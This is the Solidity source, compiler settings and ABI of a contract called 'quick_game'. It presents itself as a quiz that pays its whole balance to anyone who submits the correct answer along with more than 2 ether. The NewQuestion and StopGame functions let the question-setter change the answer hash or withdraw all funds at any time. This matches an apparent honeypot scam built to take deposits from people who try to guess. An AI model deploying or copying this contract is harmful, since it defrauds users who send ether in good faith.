pragma solidity ^0.4.25;
contract quick_game
{
function Try(string _response) external payable {
require(msg.sender == tx.origin);
if(responseHash == keccak256(_response) && msg.value > 2 ether)
{
msg.sender.transfer(this.balance);
}
}
string public question;
address questionSender;
bytes32 responseHash;
bytes32 questionerPin = 0x855ff3e2cacef37ccaec994eabf34ad18b5724bcfc17da0907a2c3cce4a31960;
function ActivateContract(bytes32 _questionerPin, string _question, string _response) public payable {
if(keccak256(_questionerPin)==questionerPin)
{
responseHash = keccak256(_response);
question = _question;
questionSender = msg.sender;
questionerPin = 0x0;
}
}
function StopGame() public payable {
require(msg.sender==questionSender);
msg.sender.transfer(this.balance);
}
function NewQuestion(string _question, bytes32 _responseHash) public payable {
if(msg.sender==questionSender){
question = _question;
responseHash = _responseHash;
}
}
function newQuestioner(address newAddress) public {
if(msg.sender==questionSender)questionSender = newAddress;
}
function() public payable{}
}
{
"compilationTarget": {
"quick_game.sol": "quick_game"
},
"evmVersion": "byzantium",
"libraries": {},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": []
}
[{"constant":false,"inputs":[{"name":"_response","type":"string"}],"name":"Try","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_question","type":"string"},{"name":"_responseHash","type":"bytes32"}],"name":"NewQuestion","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"question","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newAddress","type":"address"}],"name":"newQuestioner","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_questionerPin","type":"bytes32"},{"name":"_question","type":"string"},{"name":"_response","type":"string"}],"name":"ActivateContract","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[],"name":"StopGame","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"}]